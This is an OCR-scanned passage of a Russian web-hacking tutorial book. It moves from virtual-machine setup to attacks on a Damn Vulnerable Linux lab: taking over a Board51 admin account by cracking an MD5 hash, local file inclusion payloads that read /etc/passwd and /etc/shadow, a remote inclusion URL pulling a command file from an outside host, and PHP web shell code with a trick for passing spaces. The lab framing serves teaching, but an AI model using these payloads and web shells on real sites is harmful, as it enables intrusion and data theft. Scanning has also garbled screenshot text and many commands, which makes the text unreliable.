26 02. Подготовка Рис. 02.8. Первый запуск созданной виртуальной машины (а я полагаю, что большинство из вас работает именно с Windows), будет довольно легко разобраться. Сначала быстро промелькнут на консоли какие-то сообщения, потом на черном фоне появится курсор в виде крестика, затем крестик сменится на желтую лапку пингвина Тукса (пингвин Туке — это талисман Linux), далее появится красивая графическая картинка, показывающая ход загрузки. Когда среда будет готова к работе, окно виртуальной машины станет напоминать показанное на рис. 02.9. Пока оставляю вас самостоятельно разбираться со средой КОЕ. Можете запустить браузер FireFox (внизу на панели третий значок слева) и «побродить» по Интернету. Я думаю, многим из вас этот браузер знаком по Windows-версии.
Подготовка 27 Рис. 02.9. Вид окна виртуальной машины по завершении загрузки среды KDE Только не забудьте переключиться на американскую раскладку клавиатуры (первый значок в правой нижней части панели), потому что по умолчанию установлена немецкая (de). Если захотите выключить виртуальную машину, рекомендую просто приостановить ее, чтобы она при следующем запуске не загружалась снова. К тому же это необходимо для сохранения измененных или добавленных нами данных, ведь при перезагрузке дистрибутива со сменного носителя все измененные данные теряются. Для приостановки машины переключитесь с виртуальной машины на свой компьютер (Ctrl+Alt), затем в меню в строке заголовка окна виртуальной машины выберите команду VM > Power > Suspend. В результате виртуальная машина будет приостановлена. После этого можно закрыть программу VMware Player.
28 02. Подготовка Позже вы можете самостоятельно установить дистрибутив Back Track 4, начав с создания новой виртуальной машины, только, как я уже отмечал, вам потребуется в качестве версии Linux выбрать вариант Ubuntu, установить Linux и только после этого щелкнуть на кнопке I Finished Installing («я закончил инсталляцию»).
Часть II Основы веб-хакинга ¦ 03. Первый взлом ¦ 04. РНР-инклуд ¦ 05. SQL-инъекция ¦ 06. Межсаитовыи скриптинг ¦ 07. Слепая SQL-инъекция ¦ 08. Новые возможности РНР-инклуда ¦ 09. CRLF-инклуд
Первый взлом Веб-хакинг — это взлом веб-сайтов и веб-серверов, на которых эти сайты размещены. Уязвимости веб-сайтов делятся на несколько больших классов. Здесь мы подробно рассмотрим только некоторые из них. Хакерские термины буду пояснять по ходу изложения. Сразу введу термин «баг» (bug) — ошибка в программе. Большинство веб-уязвимостей — следствие багов в веб-страницах, то есть ошибочного или небезопасного программирования. Однако некоторые уязвимости не связаны с ошибками или беспечностью программистов, а являются неотъемлемым свойством самого языка программирования (например, языка РНР). Чтобы иметь возможность проверять приводимые здесь примеры, мы должны сделать так, чтобы наш Linux-компьютер превратился в веб-сервер. К счастью, все необходимое в DVL уже есть, нужно просто запустить http-демон (веб-сервер Apache). Для этого на рабочем столе дважды щелкните на значке HTTPD (расположен в верхнем левом углу). Откроется окно браузера Konqueror (аналог проводника Windows). Дважды щелкните на значке Start HTTPD и затем в открывшемся диалоге щелкните на кнопке ОК. Все, веб-сервер запущен. Кстати, с помощью Konqueror можно видеть не только локальные файлы, но и веб-сайты. Для этого нужно ввести адрес сайта (вместе с префиксом http://) в поле Location и нажать клавишу Enter. В этой главе мы взломаем приложение Board51, установленное на нашем локальном веб-сайте (http://local.host). С помощью браузера (FireFox или Konqueror) перейдите по адресу http://localhost/webexploitation_package_02/board51/board.php. Как видите, страничка загружается, хотя и с ошибками (рис. 03.1). Кстати, такие ошибки очень нежелательны, так как они дают хакеру представление о структуре каталогов, позволяя по их именам понять, что перед ним *тх-система. В случае Windows имена каталогов были бы несколько иными и начинались бы обязательно с имени жесткого диска (например, С или D) — что- нибудь вроде D:\\Inetpub\wwwroot\board51\. Также по названию каталога можно догадаться, что используется веб-сервер Apache (этот веб-сервер особенно характерен для *шх-систем, хотя существует 03
Первый взлом 31 т ?Э> Location- ;53?>http/yiocdlliostywebexploitationpacKagt 0 oarti.php Warning: fopen(boarddata/dataAemp.txt) ffunction.fopen]: failed to open stream: Permission denied in /usr/local/apache/htdocs/webexploitation package 02/board51/board.php on tine 33 Warning: fwrite(): supplied argument is not a valid stream resource in /usr/local/apache/htdocs/webexploitation package 02/board51/board.php on line 39 Warning: fclose(): supplied argument is not a valid stream resource in /usr/local/apache/htdocs/webexploitation_package_02/board51/board.php on line 41 Bo< Them* |ontum Hinweise, Erste Nutzung Herzlich willkommen, im BoardSl - Viel Spaft beim Schreiben wiinscht laforge ! 03 Oct 2002 05:10 13 Lctztar Eintreg 03 1002 05 10 13 «fon Admin Thread* 1 EintrAge 0 Statu» H floardma&ter Nutzungsbinweis ! Download BoardSl Рис. 03.1. Вид главной странички приложения Board51 и его версия для Windows). Кто не знает, веб-сервер — это программа, призванная предоставлять клиентам веб-страницы (веб-сайты) для просмотра. Если вам, как клиенту, для просмотра сайтов обязательно нужен браузер (Internet Explorer, Opera, FireFox и т. п.), то на самом компьютере, где размещен сайт, должен обязательно работать веб-сервер. Если по какой-то причине веб-сервер перестает работать (например, в результате атаки хакеров), то веб-сайты, расположенные на данном компьютере, перестают отображаться. Однако вернемся к нашему примеру. Известно, что Board51 — приложение, не использующее базу данных. Все данные, в том числе данные о пользователях, хранятся в обычных файлах, которые можно просмотреть в браузере. В файле boarddata/data/user.idx хранятся имена пользователей, их электронные адреса, номера ICQ и хэши паррлей. Позже я подробнее расскажу про хэши, а пока просто считайте, что пароль особым образом зашифрован. (Для тех, кому необходимы более точные определения, скажу, что хэш — это необратимо преобразованный пароль, а операция получения хэша из пароля называется хэшированием.) С помощью браузера перейдите по адресу http://localhost/webexploitation_package_02/board51/boarddata/data/user.idx
32 03. Первый взлом т location ?dit ^flew <?o ftookmarlcs Iools S«tt»n9s \/Vindow ?jelp ЕЭ Location: ^http://localhostywebexploitation_package_02/board51/boarddata/data/useridx |*j Lj Admin;Iaforgeet-online. de: 98641800;ЙШ11ИШ1ШШ!ШШДШ: 2; 1; 28 Jun 2002 * 02:06:17;21 May 2002;1021995623; Рис. 03.1. Содержимое файла user.idx с данными о пользователях Board51 Вы увидите содержимое файла user.idx (рис. 03.2). Как видите, у нас имеется только один пользователь (Admin), причем хэш его пароля (на рисунке выделен) выглядит следующим образом: 21232f297a57a5a743894a0e4a801fc3 В данном случае использован алгоритм хэширования MD5 (Message Digest 5). Существует много программ, способных восстанавливать пароли по их хэшам (мы рассмотрим некоторые из них позже). Кроме того, в Интернете можно найти бесплатные онлайн-сервисы, позволяющие узнать пароль по его хэшу. В первом издании этой книги я описал использование онлайн-сервиса, предлагаемого фирмой InsidePro, которая специализируется на программах для восстановления паролей, однако к моменту выхода первого издания в печать данный сервис был почему-то закрыт. К счастью, подобных сервисов в Интернете очень много, и найти их можно, например, сделав запрос в Яндексе: «md5 расшифровка онлайн». Здесь для иллюстрации механизма восстановления пароля я воспользовался «наиболее красивым» сервисом http://md5list.ru (теперь и ^р://мд5.рф) с его внушительной базой паролей (рис. 03.3). _ « В соответствующее поле справа я ввел исследуемый хэш: 21232f297a57a5a743894a0e4a801fc3 Затем, щелкнув на кнопке Расшифровать, я почти мгновенно получил результат (рис. 03.4): Пароль: admin
Первый взлом 33 Файл Правка Вид Журнал Закладки Инструменты Справка i rnd5 расшифровка онлайн--Яндекс; Н... : гх5Онлайн расшифровка и хэширование п... * \ + (¦ *: rcl http://md5list.ru/ ^ ) Главная страница Я.. Сервисы Яндекса !Р; Самые популярные ^ Начальная страница Последние заголовки » 4J search w rnd5 расшифровка онлайн v Найти! 694 ЛИДС1С * I Я " md5 расшифровка онлайн Найти md5list.ru80 теперь и на мд$„р4& В базе свыше 476.823.341 паролей. 0,00 р, $,28.15 €А 40.53 . + Хэширование (от англ hashing). I юсяаиие входного массива данньсггц'оизвольнойдшшыв выходную Сиговую строку фдисщкжмдюйтррашц. Таше преобразования такл.е на зь!ваютсях>ш-функциями НДИ фунщиямн свертки, a их результаты называет ХИМИК Рис. 03.3. Онлаин-сервис для восстановления «забытых» паролей md5list.ru эширование паролей md5(128bit) - Mozillt Файл Правка В_ид Журнал Закладки Инструменты Справка ji md5 расшифровка онлайн — Яндекс: Н.. пЛ Онлайн расшифровка и хэширование п... 4» * '• * ™-http://md5list.ru/?pass=&md5=21232f297a57a5a743894a0e4a801fc38<mi ^ > # Главная страница Я... Сервисы Яндекса ,Р. Самые популярные $> Начальная страница Последние заголовки >'fj search » : л' т md5 расшифровка онлайн v : Найти! М- ft 01 694 Я * rnd5 расшифровка онлайн Найти 0,00 р. $ 28.15 €.40.53 + \?) Войти • ^.Почта * J^ • у « md5list.ru0 теперь и на щ\ В базе свыше 476.823 341 паролей. местком Хэширование пароля ы mdb(l?8bit). ¦ Хэшировать ^Ш Расшифровка хэша md5(l?8bit). Д 212 3 2f2 9 7 а5 7 а5 а7 43 _8_94а0 *4а8 01 fс 3 ^В Расшифровать ^Н Хэширование (от англ. hashing). Преобразование входного массива данных произвольной длины в выходную битовую строку фиксированной длины Рис. 03.4. Пароль найден!
34 03. Первый взлом Также можно попробовать «угадать» наш пароль на странице http://md5pass. info/. Теперь можно вернуться на страничку http://localhost/webexploitation_package_02/ board51/board.php (см. рис. 03.1), вместо слова Benutzername ввести логин Admin (обязательно с большой буквы), в поле со звездочками ввести пароль (admin) и щелкнуть на кнопке Anmelden. Если появится окно предупреждения (Warning), щелкните в нем на кнопке Cancel. Чтобы обновить картинку, верните курсор в адресную строку браузера и нажмите клавишу Enter. Появится страничка администратора (рис. 03.5). Поздравляю, вы только что совершили свой перГвый хак! Кто знает немецкий, может побродить по пунктам меню. I location ?dit View ?o Qookmarks Toote Settings Window Help . . . 'i Ч Ч Щ I E> Location fehttp/7localho5.t,:webexploitati,' php * , I |Board51 Statists Benutzertiste Regetn Neues Forum Konftgurabon Angemelclet als Admin Admin Besucher online : 1 Them a Hinweise, Erste Nutzung Herzlich willkomrnen, im BoardSl - Viet SpaS beim Schreiben wunscht («forge ! 00 Datum 03 Oct 2002 05:10:13 Letzter Eintrag 03 1002 05 10 13 von Admin Thraed* 1 Elntrlg* 0 Statu» | H s Boardmastef j. Nutzungshinweis j Download BoardSl > I Page loaded Рис. 03.5. Страничка администратора Boards 1 Теперь я хочу вам рассказать о том, что такое IP-адрес и порт. Эта информация понадобится в дальнейшем. Возможно, я здесь повторю то, что вы уже знаете. IP-адрес — это уникальный адрес, который однозначно определяет любой компьютер в Интернете. Кроме того, если в локальной сети используется протокол TCP/IP, то каждый компьютер имеет IP-адрес, уникальный в пределах этой сети. В стандарте IP версии 4 любой IP-адрес состоит из четырех чисел (каждое в диапазоне от 0 до 254), при записи эти числа принято разделять точками, например: 192.168.2.11. Есть специальные (зарезервированные) IP-адреса, в частности, к локальному компьютеру всегда можно обратиться по IP-адресу 127.0.0.1. На классификации сетей я не буду останавливаться, можете найти ее в Интернете. Порт — это уникальное число от 1 до 65 535. Порт однозначно определяет каждую программу на данном компьютере, работающую с Интернетом. Если программа
Первый взлом 35 использует при работе какой-либо порт, говорят, что этот порт «открыт». Например, веб-сервер обычно использует порт 80, сервер FTP — порт 21. Порт нужен для того, чтобы программа «знала», что данные из Сети пришли именно для нее, а не для другой программы, работающей на этом же компьютере. Так, когда мы обращаемся к программе, работающей на другом компьютере, IP-адрес однозначно определяет компьютер, а порт — нужную нам программу. Например, когда вы открываете сайт в веб-браузере, ваш браузер обращается к сайту по IP-адресу и указывает номер порта 80, что позволяет адресовать на сайте ваш запрос к программе, называемой веб-сервером. Веб-сервер, в свою очередь, в ответ на запрос отправляет на ваш IP-адрес (на порт, используемый вашим браузером) содержимое веб-странички. А теперь перейдем к разбору некоторых распространенных уязвимостей.
PHP-инклуд В языке PHP, на котором написано великое множество веб-сайтов, имеется функция includeO, позволяющая включить в текст веб-страницы некоторый внешний файл. Любой файл, попавший таким образом в текст (независимо от расширения), будет интерпретироваться как написанный на языке РНР. То есть, закачав на сайт файл, изменив на сайте уже имеющийся файл, получив с другого сайта любой файл с PHP-кодом, мы можем его выполнить как РНР-файл. Такое включение файлов с программным кодом возможно не только в РНР, но и в других языках программирования. Именно отсюда берет название инклуд (от англ. include — включать в себя что-либо). Инклуды делятся на локальные (Local File Include, LFI) и удаленные (Remote File Include, RFI). Дадим определение удаленному и локальному инклудам. Локальным называется такой инклуд, в котором путь для включаемого файла задан программно, поэтому включение файлов по протоколам HTTP и FTP невозможно. Удаленным называется инклуд, в котором путь не определен, поэтому включение можно выполнять удаленно. Рассмотрим эти виды инклуда подробнее. Локальный РНР-инклуд Локальный инклуд позволяет хакеру загружать в браузер и просматривать файлы на сервере. Пример: http://[target]/!ndex.php?page=./../../../../../etc/passwd*00 Здесь вместо слова [target] нужно подставить конкретное имя сайта, например www.site.com. В случае успеха мы получим содержимое файла /etc/passwd. Символы перед именем файла означают следующее: О . / — текущий каталог; О .. / — переход на уровень вверх, что характерно для всех Unix-подобных ОС. Символы Ш в конце имени файла — это шестнадцатеричный код для передачи по протоколу HTTP нулевого байта (null-byte). Этот символ в языке С и некоторых 04
Локальный РНР-инклуд 37 других языках программирования означает «конец строки». Используется здесь, чтобы отсечь расширение файла, например .php или .txt, часто добавляемое программой автоматически. Без этого символа окончательное имя загружаемого файла выглядело бы так: /etc/passwd.php, а файла с таким именем в системе нет. К сожалению, нулевой байт срабатывает не всегда, но сейчас хакеры открыли множество способов замены нулевого байта. Количество переходов на уровень вверх зависит от расположения файла index, php в системе. Например, в установленном у нас пакете DamnVulnerableLinux корневым каталогом веб-сервера является /usr/local/apache/htdocs/. Значит, мы должны перейти на уровень вверх (то есть указать последовательность символов .. /) как минимум 4 раза, чтобы добраться до корневого каталога. Я говорю «как минимум», потому что включаться могут файлы не только из каталога htdocs, но и из вложенных в него каталогов. Впрочем, даже не зная точного расположения каталога веб-сервера, мы всегда можем подобрать нужное число переходов на уровень выше, начиная с одного и постепенно прибавляя по одному, пока не получим положительный результат. В каталоге /usr/local/apache/htdocs/ у нас расположены папки различных уязвимых веб-приложений, установленных заранее. Однако сейчас, чтобы лучше понять механизм, мы создадим свое мини-приложение, уязвимое для локального инклуда. Щелкните на значке главного меню (аналог кнопки Пуск в Windows) и выберите в меню команду Damn Vulnerable Linux > Tools > Editors > Kate, открыв текстовый редактор Kate (или любой другой текстовый редактор, если вы уверены, что с ним разберетесь). В появившемся диалоге щелкните на кнопке Default Session (это позволит, в частности, посмотреть, какие файлы открывались авторами DVL до вас). В поле для ввода текста введите следующий текст программы (без опечаток(!)): <? $page = ($_GET['page']); i nclude("./htdocs/$page.php"); ?> Что делает эта программа (веб-страничка)? Первая строка обозначает начало программы на языке РНР. Последняя, соответственно, — конец программы. Вторая строка — это присваивание значения переменной с именем $раде, это значение будет браться из параметра page, указанного в адресной строке браузера. Вторая переменная включает в текст нашей страницы файл из каталога htdocs (имя файла хранится в переменной $раде) с добавлением в конце файла расширения .php. Вот и все. Но и этого кода достаточно, чтобы загрузить любой файл с нашего (а в реальной жизни — с удаленного) компьютера через браузер. Конечно, не совсем любой файл, а только тот, на просмотр которого у нашего пользователя есть право. Теперь сохраните файл (выбрав в главном меню команду File > Save) в каталоге/usr/local/apache/htdocs. По мере того, как вы будете набирать имя каталога в строке сверху, нажимайте клавишу Enter — постепенно
38 04. РНР-инклуд будут открываться вложенные каталоги. Или можете щелкать на значках папок с именами каталогов. Укажите имя файла my.php и сохраните файл, щелкнув на кнопке Save. Имя файла может быть другим, но расширение должно быть .php. Однако в этом случае не забудьте заменить имя файла в последующем примере тем, которое ввели вы. Теперь запустите браузер (FireFox или Konqueror) и в адресной строке введите следующее: http:/Лocalhost/my.php?page=./../etc/passwdfcOO Здесь local host — стандартное имя нашего локального хоста (для сайта в Интернете оно выглядело бы примерно так: www.site.com). Появится сообщение об ошибке, как показано на рис. 04.1. шт location ?dit ?»ew Qo bookmarks Tools Settings Window H[dp E^ Location:^ http ,i'/localhost/my.php ?page=/ /etc/passwd^faOO 9 J Warning: main(./htdocs/./../etc/passwd) [function.rnain]: failed to open stream: No such file or directory in /usr/local/apache/htdocs/myhphp on line 3 Warning: main() [function.include]: Failed opening \/htdocs/./../etc/passwd' for inclusion (include_path='.:/usr/tocat/lib/php') in /usr/local/apache/htdocs/my.php on line 3 Page loaded Рис. 04.1. Вид окна браузера после первой попытки открыть файл /etc/passwd Но не останавливайтесь на этом! Последовательно добавляйте группу символов .. / в строке адреса, то есть поочередно вводите http:/Лocalhost/my.php?page=./../../etc/passwdUOO http://localhost/my.php?page=./../../../etc/passwd*00
Локальный РНР-инклуд 39 j^ocatton ?dit View Qo ^ookmdn^s Jools Settings \ftfmdow Help , . . ^ ч S3I t> LjjCtton:|дУhttp:Woc»thoatfmy.php?p»g«« / I ' •¦ /etc/passwd%00 » J root:x:0:0::/root:/bin/bash bin:x:l:l:bin:/bin: daemon:x:2:2:daemon.7sbin: adm:x:3:4:adm:/var/log: tp:x:4:7:lp:/var/spool/lpd: sync :x:5:0:sync:/sb in :/b in/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:ha!t:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operators:ll:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bashpop:x:90:90:POP:/: nobody:x:99:99:nobody:/: postgres:x:1000:100::/homG/postgres: * Page loaded — Рис. 04.2. Содержимое файла /etq/passwd на вашем компьютере И так до тех пор, пока наконец не увидите вместо сообщения об ошибке содержимое файла /etc/passwd, как показано на рис. 04.2. Мои поздравления! Вы только что совершили еще один хак! Небольшое замечание. Количество групп /.. / должно быть не меньше, чем уровень вложенности каталога. Если оно меньше, мы не достигнем корневого каталога /. Если оно больше — ничего страшного, лишние «переходы наверх» отбро- сятся, потому что выше корневого каталога подниматься уже некуда. Так, изучая конкретный сайт, можно в первом же запросе сразу указать достаточно большое количество групп /.. /, чтобы гарантированно достичь корневого каталога. Однако файл /etc/passwd отображается в браузере не так, как надо: строки сливаются. Но и от этого у хакеров есть верное средство. Выберите в меню браузера команду View > View Document Source (если это браузер Konqueror) или View > Page Source (если это FireFox) и наслаждайтесь точно воспроизведенным файлом (рис. 04.3). Чем же так интересен для хакеров файл /etc/passwd? Тем, что он содержит имена (логины) всех пользователей системы. Также там есть и другая интересная информация о пользователях. Начинается этот файл с суперпользователя (то есть с пользователя root). Пользователь root всегда имеет идентификатор (номер) пользователя 0 и идентификатор группы 0. Буква х стоит вместо пароля
40 04. РНР-инклуд root:х:0:0::/root:/bin/bash bin:x:l:1:bin:/bin: daemon:x:2:2:daenon:/sbin: ad«:x:3:4:ada:/var/log: lp:x:4:7:lp:/var/spool/lpd: s ync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt ¦ail:x:8:12:mail:/: news:x:9:13:news:/us г/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash ganes:x:12:100:ga«es:/usr/geues: ftp:x:14:50::/hone/ftp: siRRsp:x:25 : 25 :sm«sp:/var/spool/clientmqueue: «ysql:x:27:27:MySQL:/var/lib/nysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdn:x:42:42:GDM:/va г/s tate/gdn:/bin/bash pop:x:90:90:P0P:/: nobody:x:99:99:nobody:/: postgres:x:1000:100::/home/postgres: Рис. 04.3. Нормальный вид файла /etc/passwd пользователя. Раньше здесь указывался пароль пользователя, но в современных системах он хранится в файле /etc/shadow (в системе FreeBSD и некоторых других этот файл называется иначе: /etc/master.passwd). В файле /etc/shadow, как я уже отмечал, хранятся зашифрованные пароли, точнее — хэши паролей, то есть необратимо преобразованные пароли. Что означает необратимо преобразованный? Это означает, что обратно «расшифровать» пароль невозможно. Когда пользователь при входе в систему вводит свой пароль, система вычисляет его хэш и проверяет, совпадает ли он с хранящимся в файле /etc/shadow. Если хэши совпадают, система санкционирует вход пользователя. В нормальных системах права на чтение файла /etc/shadow есть только у пользователя root или реже у группы пользователей, к которой принадлежит root. Это сделано для того, чтобы простой пользователь не смог увидеть даже хэши чужих паролей. И это вполне оправданная мера безопасности, потому что, как говорилось ранее, существуют средства восстановления «забытых» паролей по их хэшам (мы рассмотрим их в главе ОС). Интересно, что в некоторых дистрибутивах Linux почему-то права просмотра файла /etc/shadow даются по умолчанию всем пользователям. В этом случае любой хакер сможет просмотреть хэши паролей запросом вида http://localhost/my.php?page=./../../../../../etc/shadow^OO В нашей системе мы этого сделать не можем, потому что, хотя мы вошли в систему как пользователь root, веб-сервер apache, который загружает наш файл, выполняется с правами простого пользователя, поэтому мы получаем ошибку Permission denied (Разрешение отвергнуто). Однако если вы дадите права на чтение файла/etc/shadow всем пользователям, то он без проблем будет загружаться в браузер. В заключение в качестве упражнения попробуйте убрать символы Я00 (нулевой байт) из работающего запроса
Удаленный РНР-инклуд 41 http://localhost/my.php?page=./../../../../../etc/passwd^OO Посмотрите, что при этом произойдет. Загрузится ли файл /etc/shadow, и если нет, то почему? Какой файл пытается открыть браузер в этом случае? СОВЕТ См. сообщение об ошибке в окне браузера. Удаленный РНР-инклуд Если локальный инклуд позволяет только просматривать файлы, то удаленный, или глобальный, инклуд дает возможность загружать файлы с других вебсайтов. Загружаемый с хакерского сайта файл может содержать небольшую программу на языке РНР, позволяющую нам из адресной строки браузера вводить *nix- команды, которые будут выполняться на атакуемой системе. То есть хакер может выполнять любые команды на целевом компьютере при помощи запроса вида http://[target]/inj.php?inc=http://narod.ru/cmd.txt&cmd=ls В данном случае файл с хакерской программкой называется cmd.txt и расположен он по адресу http://narod.ru. В этом примере выполнится команда 1 s, которая выводит список файлов текущего каталога. Для этого примера создадим в редакторе новый файл (File > New) со следующими командами: <? $page = ($_GET['раде']); include("$page"); ?> Это и есть наша уязвимая веб-страничка. Вы можете не набирать заново весь текст — достаточно просто изменить файл my.php и сохранить его под именем inj. php (File > Save As) в том же каталоге, где находится файл my.php. Обращу ваше внимание на то, что я просто убрал из функции include путь к каталогу htdocs и расширение файла .php, чтобы можно было загрузить абсолютно любой файл, в том числе с другого сайта. Теперь создадим хакерский файл, позволяющий нам выполнять команды системы. В реальной жизни он находится на другом сайте в Интернете, к которому у хакера есть доступ на запись (например, по протоколу FTP). Но у нас для простоты он будет находиться тоже на локальном компьютере. Создадим в редакторе новый файл с текстом <рге> <?php pri nt("<b>$cmd</b>\n"); system($cmd); ?> </pre>
42 04. РНР-инклуд Сохраним файл с именем cmd.php в том же каталоге, что и inj.php. Здесь теги <рге> и </рге> языка HTML задают начало и конец фрагмента, для которого должно сохраняться исходное форматирование (чтобы браузер не объединял несколько выводимых строк в одну). Команда print выводит значение переменной $cmd — просто распечатывает жирным шрифтом введенную команду перед тем, как показать результат ее выполнения. Функция system() выполняет команду системы, содержащуюся в переменной $cmd, и выводит результат в окно браузера. Теперь, когда приготовления закончены, введем в адресной строке браузера следующее: http://1 оса1 host/i nj.php? page=http://1 oca1 host/cmd.php?cmd=l s Если вы все сделали правильно, у вас отобразится что-то похожее на рис. 04.4. Жирным шрифтом выводится сама команда 1 s, а далее — результат ее выполнения, то есть список файлов и подкаталогов текущего каталога. 1 location §dit J#ew j?o ftookmarks Tools ?ettmgs Window ?ldp 4 4 4 I ?> Location: i8^http.//localhost/inj.php?page==http//localhost/cmd.php?cmcl==--ls 1 Is I base 1 beef 1 cmd.php 1 cmd.php- 1 index.php 1 info.php p. 1 inj .php ^ 1 inj .php- 1 manual 1 my. php 1 olate 1 phpmyadmin 1 unicornscan I webexploitation_package_01 1 webexploitationj?ackageJ32 ¦ Page loaded ¦¦МННШВ Щ p! j \ Рис. 04.4. Результат выполнения команды Is посредством удаленного инклуда Если у вас выдается сообщение о том, что какой-то файл не найден или не может быть открыт, проверьте правильность ввода адресной строки. Если же есть ошибки в файле inj.php или cmd.php, то в окне браузера будет выведено сообщение Parse error с указанием типа ошибки, полного имени файла, содержащего ошибку,
Удаленный РНР-инклуд 43 и номера строки с ошибкой. Сверьтесь с текстом книги и последовательно исправьте все найденные ошибки. Если у вас все получилось, вместо 1 s попробуйте ввести другие *тх-команды. Например, введите команду uname (выдает имя unix-машины, в данном случае — тип операционной системы). Также попробуйте ввести команды pwd (print working directory — напечатать рабочий каталог) и id (идентификатор текущего пользователя). Последняя команда сообщает, что мы работаем как пользователь nobody (с идентификатором пользователя uid=99), принадлежащий группе подгоир (с идентификатором группы gid=99). Помимо этого, наш пользователь может являться членом и других групп, что показывается в параметре groups. Отмечу, что на большинстве Linux-систем веб-сервер выполняется именно с правами пользователя nobody. Введите также команду di г, которая, как и команда 1 s, выводит содержимое текущего каталога, но в несколько столбцов. Доступ, который мы сейчас получили к уязвимой системе, носит название веб- шелла. Такой доступ зачастую является первым шагом к получению полноценного шелла, о котором речь пойдет в последующих главах. Вообще говоря, шелл (от англ. shell — оболочка) — это системная *шх-программа, позволяющая пользователю выполнять команды системы через интерфейс командной строки (консоли). Шеллов в *nix несколько, в отличие от системы Windows, в которой есть только CMD.exe. Наиболее популярные *шх-шеллы носят названия bash и sh. Заметим, что *тх-команды часто имеют параметры. Параметры в стиле Unix обычно начинаются с черточки (-), иногда с двух подряд (- -) и отделяются пробелом от основной команды. К примеру, команда uname -а выводит подробную информацию о Unix-машине. Часто можно после черточки вводить не один, а несколько однобуквенных параметров. Например, команда Is -1 а выводит информацию о файлах и каталогах в «длинном» формате, а также показывает скрытые файлы и каталоги (в *nix имена скрытых файлов и каталогов начинаются с точки). ПРИМЕЧАНИЕ Между системой Linux и другими версиями Unix существуют небольшие различия, и иногда одинаковые по смыслу параметры некоторых команд могут обозначаться разными буквами или вообще отсутствовать в какой-то системе. Порядок следования параметров часто не имеет значения, так что можно напечатать His -al вместо Is -1 а. Но вот проблема — наш простейший веб-шелл не распознает пробелы. Если вы попробуете ввести команду с пробелами, программа выдаст сообщение об ошибке. Как же хакеры решают эту проблему? В Linux есть переменная окружения $IFS, которую можно использовать в качестве разделителя (пробела). Тогда наша
44 04. РНР-инклуд шшшшшш 1 Location ?dtt $< 1 |> Location $fo I ls$IFS-la 1 total 37 1 drwxr-xr-x 1 drwxr-xr-x 1 drwxr-xr-x I drwxr-xr-x 1 -rw-r--r-- 1 -rw-r- - r- - 1 -rw-r--r-- I -rw-r--r-- I -rw-r--r-- I - rw-r- - r- - I -rw-r--r-- 1 -rw-r--r-- I -rw-r- - r- - I drwxr-xr-x I -rw-r--r-- I drwxr-xr-x 1 drwxr-xr-x I drwxr-xr-x I drwxr-xr-x 1 drwxr-xr-x 1G root 10 root 13 root 10 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 8 root 1 root 9 root 12 root 5 root 7 root 19 root kmarks root root root root root root root root root root root root root root root root root root root root Tools ч. ч 220 107 936 107 62 37 81 79 79 66 24 49 53 2319 66 377 1840 172 119 366 шяяшяшвшшяшшшшштшшшт Settings V^mdoft- Help * Jun 16 17:08 Jan 18 2009 Jan 18 2009 Jan 18 2009 Jun 16 17:08 Jun 16 16:53 Jun 16 16:08 Jun 16 16:08 Jun 16 16:07 Jun 15 22:42 Jan 18 2009 Jun 16 01:21 Jun 16 01:16 Jan 18 2009 Jun 15 21:55 Jan 18 2009 Jan 18 2009 Jan 18 2009 Jan 18 2009 Jan 18 2009 base beef cmd.p hp cmd.pbp- cmd.pl cmd.pl- cmd.txt index.php info.php inj .php inj .php- manual my. p hp olate phpmyadmin unicornscan webexploitation_package_01 webexploitation_package_02 Щ * У 1 * Рис. 04.5. Результат выполнения команды ls$IFS-la команда примет вид 1 s$IFS-1 а. На взгляд обычного пользователя очень странно, но работает! Результат можно видеть на рис. 04.5. Немного изменим текст веб-шелла: <рге><? system($_GET['cmd']):?></рге> Если бы мы ввели эту команду, у нас шелл воспринял бы знак + вместо пробела, и команда Is -1 а выглядела бы как 1 s+-1 а. Можете поэкспериментировать сами. Давайте рассмотрим рис. 04.5 поподробнее. Вверху выводится общее количество файлов и каталогов (total). А что значат надписи вида drwxr-xr-x? Буква d обозначает каталог, у файла на этом месте стоит прочерк (-). Потом перечисляются права доступа, причем первая тройка символов обозначает права владельца, вторая — права группы, третья — права прочих пользователей, а сами символы означают следующее: О г — чтение (read); О w — запись (o;rite); О х — выполнение (erecute). Примеры: -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file drwx- 2 sam Al 2 May 01 12:01 directory
Удаленный РНР-инклуд 45 То есть первая тройка символов показывает права доступа самого владельца файла или каталога (имя владельца напечатано немного дальше, у нас на рис. 04.5 это пользователь root, а в примерах — пользователи bob и sam соответственно). Если вместо буквы стоит прочерк, то этого права у пользователя нет. Следующая тройка символов показывает права на этот файл (каталог) для группы, к которой принадлежит владелец. У нас на рис. 04.5 это группа root (имя группы выводится следом за именем пользователя). И последняя тройка символов — это права других пользователей, не входящих в группу, к которой принадлежит владелец файла. Если там указано три прочерка, то прочие пользователи вообще не имеют доступа к файлу. Например, гляря на следующую строку, можно сказать, что abc у нас является каталогом (d), принадлежит пользователю root и группе root: drwxr-xr-- 10 root root 107 Jan 18 2009 abc Кроме того, владелец имеет полные права (rwx), группа имеет права на чтение и исполнение, но не имеет права на запись (г-х), а прочие пользователи имеют право только на чтение (г- -). Также видно, что каталог создан 18 января 2009 года (Jan 18 2009). Права на доступ к текущему каталогу можно посмотреть с помощью команды Is -lad. Владельцем файла изначально является его создатель. Владелец существующего файла (или пользователь root) командой chown может назначить нового владельца. Владелец может в любое время изменить права доступа к принадлежащему ему файлу (каталогу) командой chmod. Например, следующая команда дает права чтения, записи и исполнения (цифра 7) самому владельцу, права чтения и исполнения (цифра 5) — группе и прочим пользователям (последняя цифра 5): chmod 755 <имя файла> Как вы уже поняли, первая цифра задает права владельца, вторая — группы, третья — 